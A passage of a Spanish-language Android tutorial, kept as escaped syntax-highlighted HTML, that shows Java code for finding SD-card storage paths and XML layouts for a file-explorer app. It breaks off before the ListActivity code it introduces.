   &lt;span style=&quot;color: black;&quot;&gt;System&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;out&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;println&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;Ruta : &quot;&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;+&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;rutas&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;i&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;]);&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Imprimimos para &quot;depurar&quot;&lt;/span&gt;
   &lt;span style=&quot;color: black;&quot;&gt;String&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;f&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;[]&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;file&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;list&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;();&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Contenido de ruta actual&lt;/span&gt;
   &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;for&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;int&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;o&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #0000cf; font-weight: bold;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;o&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;f&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;length&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;o&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;++)&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;{&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Recorremos el contenido de la ruta actual&lt;/span&gt;
    &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;f&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;o&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;].&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;indexOf&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;sd&quot;&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;!=&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #0000cf; font-weight: bold;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;{&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Vemos si contiene sd en el nombre si es asi es almacenamiento&lt;/span&gt;
     &lt;span style=&quot;color: black;&quot;&gt;String&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;ruta&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;rutas&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;i&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;]&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;+&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;f&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;o&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;];&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Creamos una Ruta,esta ruta es la original&lt;/span&gt;
     &lt;span style=&quot;color: black;&quot;&gt;File&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;fd&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;new&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;File&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;ruta&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;);&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Creamos un nuevo File para evitar rutas repetidas basadas en symlinks&lt;/span&gt;
     &lt;span style=&quot;color: black;&quot;&gt;String&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;toAdd&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt;
     &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;try&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;{&lt;/span&gt;
      &lt;span style=&quot;color: black;&quot;&gt;System&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;out&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;println&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;Canocial :&quot;&lt;/span&gt;
        &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;+&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;fd&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;getCanonicalPath&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;().&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;toString&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;());&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Esta seria la ruta original&lt;/span&gt;
      &lt;span style=&quot;color: black;&quot;&gt;toAdd&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;fd&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;getCanonicalPath&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;().&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;toString&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;();&lt;/span&gt;
     &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;}&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;catch&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;IOException&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;e&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;{&lt;/span&gt;
      &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// TODO Auto-generated catch block&lt;/span&gt;
      &lt;span style=&quot;color: black;&quot;&gt;e&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;printStackTrace&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;();&lt;/span&gt;
      &lt;span style=&quot;color: black;&quot;&gt;toAdd&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;null&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt;
      &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;continue&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt;
     &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;}&lt;/span&gt;
     &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(!&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;tmp&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;contains&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;toAdd&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;))&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;{&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Si se repitiera no lo añadimos&lt;/span&gt;
      &lt;span style=&quot;color: black;&quot;&gt;System&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;out&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;println&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;A añadir :&quot;&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;+&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;toAdd&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;);&lt;/span&gt;
      &lt;span style=&quot;color: black;&quot;&gt;tmp&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;add&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;toAdd&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;);&lt;/span&gt;
     &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;}&lt;/span&gt;
    &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;}&lt;/span&gt;
   &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;}&lt;/span&gt;
  &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;}&lt;/span&gt;

  &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;return&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;tmp&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Regresamos el Array de almacenamientos&lt;/span&gt;
 &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;}&lt;/span&gt;
    &lt;span style=&quot;color: #5c35cc; font-weight: bold;&quot;&gt;@Override&lt;/span&gt;
    &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;public&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;boolean&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;onCreateOptionsMenu&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;Menu&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;menu&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;{&lt;/span&gt;
        &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Inflate the menu; this adds items to the action bar if it is present.&lt;/span&gt;
        &lt;span style=&quot;color: black;&quot;&gt;getMenuInflater&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;().&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;inflate&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;R&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;menu&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;main&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;menu&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;);&lt;/span&gt;
        &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;return&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt;
    &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;}&lt;/span&gt;

    &lt;span style=&quot;color: #5c35cc; font-weight: bold;&quot;&gt;@Override&lt;/span&gt;
    &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;public&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;boolean&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;onOptionsItemSelected&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;MenuItem&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;item&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;{&lt;/span&gt;
        &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Handle action bar item clicks here. The action bar will&lt;/span&gt;
        &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// automatically handle clicks on the Home/Up button, so long&lt;/span&gt;
        &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// as you specify a parent activity in AndroidManifest.xml.&lt;/span&gt;
        &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;int&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;id&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;item&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;getItemId&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;();&lt;/span&gt;
        &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;id&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;==&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;R&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;action_settings&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;{&lt;/span&gt;
            &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;return&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt;
        &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;}&lt;/span&gt;
        &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;return&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;super&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;onOptionsItemSelected&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;item&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;);&lt;/span&gt;
    &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;}&lt;/span&gt;
&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;}&lt;/span&gt;
&lt;/pre&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;br /&gt;
El menú no lo tocamos,tan solo trabajamos en el onCreate,vamos a definir los .xml que hasta ahora necesitamos:&lt;br /&gt;
&lt;br /&gt;
sdcards.xml&lt;br /&gt;
&lt;br /&gt;
&lt;!-- HTML generated using hilite.me --&gt;&lt;br /&gt;
&lt;div style=&quot;background: #f8f8f8; border-width: .1em .1em .1em .8em; border: solid gray; overflow: auto; padding: .2em .6em; width: auto;&quot;&gt;
&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21&lt;/pre&gt;
&lt;/td&gt;&lt;td&gt;&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;&amp;lt;LinearLayout&lt;/span&gt; &lt;span style=&quot;color: #c4a000;&quot;&gt;xmlns:android=&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;http://schemas.android.com/apk/res/android&quot;&lt;/span&gt;
    &lt;span style=&quot;color: #c4a000;&quot;&gt;android:layout_width=&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;200dp&quot;&lt;/span&gt;
    &lt;span style=&quot;color: #c4a000;&quot;&gt;android:layout_height=&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;200dp&quot;&lt;/span&gt;
    &lt;span style=&quot;color: #c4a000;&quot;&gt;android:orientation=&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;horizontal&quot;&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;&amp;gt;&lt;/span&gt;

    &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;&amp;lt;ImageView&lt;/span&gt;
        &lt;span style=&quot;color: #c4a000;&quot;&gt;android:id=&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;@+id/tarjeta&quot;&lt;/span&gt;
        &lt;span style=&quot;color: #c4a000;&quot;&gt;android:layout_width=&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;100dp&quot;&lt;/span&gt;
        &lt;span style=&quot;color: #c4a000;&quot;&gt;android:layout_height=&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;100sp&quot;&lt;/span&gt;
        &lt;span style=&quot;color: #c4a000;&quot;&gt;android:gravity=&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;center&quot;&lt;/span&gt;
        &lt;span style=&quot;color: #c4a000;&quot;&gt;android:src=&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;@drawable/hddusb256&quot;&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;/&amp;gt;&lt;/span&gt;

    &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;&amp;lt;TextView&lt;/span&gt;
        &lt;span style=&quot;color: #c4a000;&quot;&gt;android:id=&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;@+id/nombretarjeta&quot;&lt;/span&gt;
        &lt;span style=&quot;color: #c4a000;&quot;&gt;android:layout_width=&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;match_parent&quot;&lt;/span&gt;
        &lt;span style=&quot;color: #c4a000;&quot;&gt;android:layout_height=&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;wrap_content&quot;&lt;/span&gt;
        &lt;span style=&quot;color: #c4a000;&quot;&gt;android:textColor=&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;#000&quot;&lt;/span&gt;
        &lt;span style=&quot;color: #c4a000;&quot;&gt;android:textStyle=&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;bold&quot;&lt;/span&gt;
        &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;/&amp;gt;&lt;/span&gt;

&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;&amp;lt;/LinearLayout&amp;gt;&lt;/span&gt;
&lt;/pre&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;br /&gt;
El activity_main.xml:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;!-- HTML generated using hilite.me --&gt;&lt;br /&gt;
&lt;div style=&quot;background: #f8f8f8; border-width: .1em .1em .1em .8em; border: solid gray; overflow: auto; padding: .2em .6em; width: auto;&quot;&gt;
&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16&lt;/pre&gt;
&lt;/td&gt;&lt;td&gt;&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;&amp;lt;RelativeLayout&lt;/span&gt; &lt;span style=&quot;color: #c4a000;&quot;&gt;xmlns:android=&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;http://schemas.android.com/apk/res/android&quot;&lt;/span&gt;
    &lt;span style=&quot;color: #c4a000;&quot;&gt;xmlns:tools=&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;http://schemas.android.com/tools&quot;&lt;/span&gt;
    &lt;span style=&quot;color: #c4a000;&quot;&gt;android:layout_width=&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;match_parent&quot;&lt;/span&gt;
    &lt;span style=&quot;color: #c4a000;&quot;&gt;android:layout_height=&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;match_parent&quot;&lt;/span&gt;
    &lt;span style=&quot;color: #c4a000;&quot;&gt;tools:context=&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;com.itimetux.timeexplorer.MainActivity&quot;&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;&amp;gt;&lt;/span&gt;

    &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;&amp;lt;GridView&lt;/span&gt;
        &lt;span style=&quot;color: #c4a000;&quot;&gt;android:id=&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;@+id/sdcards&quot;&lt;/span&gt;
        &lt;span style=&quot;color: #c4a000;&quot;&gt;android:layout_width=&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;fill_parent&quot;&lt;/span&gt;
        &lt;span style=&quot;color: #c4a000;&quot;&gt;android:layout_height=&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;fill_parent&quot;&lt;/span&gt;
        &lt;span style=&quot;color: #c4a000;&quot;&gt;android:gravity=&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;center&quot;&lt;/span&gt;
        &lt;span style=&quot;color: #c4a000;&quot;&gt;android:numColumns=&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;auto_fit&quot;&lt;/span&gt;
        &lt;span style=&quot;color: #c4a000;&quot;&gt;android:stretchMode=&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;columnWidth&quot;&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;&amp;gt;&lt;/span&gt;
    &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;&amp;lt;/GridView&amp;gt;&lt;/span&gt;

&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;&amp;lt;/RelativeLayout&amp;gt;&lt;/span&gt;
&lt;/pre&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;br /&gt;
Solo falta crear el explorador,para ello definiremos una activitad que se extienda de ListActivity y a la cual es la que llamamos cuando le damos clic a una ruta de almacenamiento:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;!-- HTML generated using hilite.me --&gt;&lt;br /&gt;
&lt;div style=&quot;background: #f8f8f8; border-width: .1em .1em .1em .8em; border: solid gray; overflow: auto; padding: .2em .6em; width: auto;&quot;&gt;
&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
